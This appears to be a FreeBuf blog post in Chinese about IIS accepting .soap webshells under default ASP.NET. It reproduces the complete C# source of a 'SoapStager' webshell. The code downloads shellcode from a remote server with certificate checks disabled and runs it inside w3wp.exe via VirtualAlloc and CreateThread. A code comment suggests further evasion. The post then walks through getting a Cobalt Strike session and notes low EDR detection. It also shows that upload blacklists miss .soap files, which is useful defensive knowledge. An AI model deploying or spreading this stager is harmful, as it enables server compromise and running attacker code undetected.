freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

IIS下的soap类webshell
2022-06-09 22:06:10
所属地 北京

前几天看到绿盟天元实验室转发的一篇外网文章,是关于ASP.NET默认启用的文件扩展类型问题,仔细阅读文章后想在这里分享给大家。(第一次写技术文章,不合理之处多多包涵)

众所周知webshell有很多后缀类型的后门,例如php、jsp、asp、apsx等等,而文章内提到的是在默认安装的ASP.NET内,soap的扩展类型是默认开启的,这也就意味着soap后缀类型的webshell可以在默认安装的ASP.NET环境内被执行解析,而大多数Web服务器进程不需要写入soap扩展名的文件,因此有关该类型的黑名单上传规则显的微不足道。

首先启用win server2019的虚拟机,在服务器内启用web服务,在添加角色安装ASP.NET4.7,安装完成后可以查看ASP的config文件查看配置,该条表示允许soap的扩展程序在IIS执行。

<add extension=".soap" type="System.Web.Compilation.WebServiceBuildProvider" />

打开IIS处理程序映射可以看到默认安装下存在*.soap的扩展类型。

原文中作者测试了关于.rem文件能否解析的问题,结果是返回错误,无法解析。查看web.config发现.rem没有构建扩展程序,但是.soap有而且构建程序与.asmx相同。使用与asmx后缀webshell代码相同的soap后缀webshell进行上传。原文表示作者自己不喜欢临时造轮子,我就直接拿来文章的webshell来用了,这里先浅浅地分析一下作者写的代码。

首先声明了使用ASP引擎分析的WEB服务,之后导入windows系统库。

<%@ WebService Language="C#" class="SoapStager"%>
using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;

然后做web服务绑定以及进行命名空间的声明,定义SoapStager类,使用MarshalByRefObject跨应用程序域传递数据。下面调用了两个windowsAPI,VirtualAlloc以及 CreateThread,VirtualAlloc就是用来申请内存空间而CreateThread用来在主线程的基础上创建一个新线程,保证在分配内存后能将下载好的shellcode移动到iis默认进程w3wp.exe的新线程。

[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class SoapStager : MarshalByRefObject
{
    private static Int32 MEM_COMMIT=0x1000;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);

    [System.Runtime.InteropServices.DllImport("kernel32")]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);

作者通过System.Net.webClient从其他web服务器中下载shellcode,分配好执行内存后将数据复制其中,以此来执行恶意代码用于获取会话。

[System.ComponentModel.ToolboxItem(false)]
    [WebMethod]
    public string loadStage()
    {
        string Url = "http://"; //你web服务器的IP或者shellcode位置
        byte[] rzjUFlLZh;

        IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
        defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;

        using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
        {
            ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
            ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
            webClient.UseDefaultCredentials = true;
            rzjUFlLZh = webClient.DownloadData(Url);
        }

        // Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
        IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
        IntPtr owlqRoQI_ms = IntPtr.Zero;
        IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);

        return "finished";//执行成功返回值
    }
}

原文这里是从文件上传开始测试的,我省去了上传的步骤,直接放到目标站点里解析执行。

访问目标站点,直奔文件路径。

打开burpsuite,在WSDL下抓包。

这里我用了burpsuite的Wsdler扩展,可以直接转到解析后的页面。

使用repeater测试,查看响应包,200成功返回,说明执行成功。

现在查看cs,目标已经上线,在w3wp.exe内做进程注入,成功建立会话。

文章最后作者使用了一些edr进行测试,但是检测率非常低,说明很多主机防护设备缺少关于soap文件的检测规则。

谢谢大家浏览我的博客,作者小白一个,如果您觉得我写的比较垃,当个乐子看就行。

原文地址:https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap

(友情提示需要FQ哦)

# web安全 # shellcode # webshell # iis
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者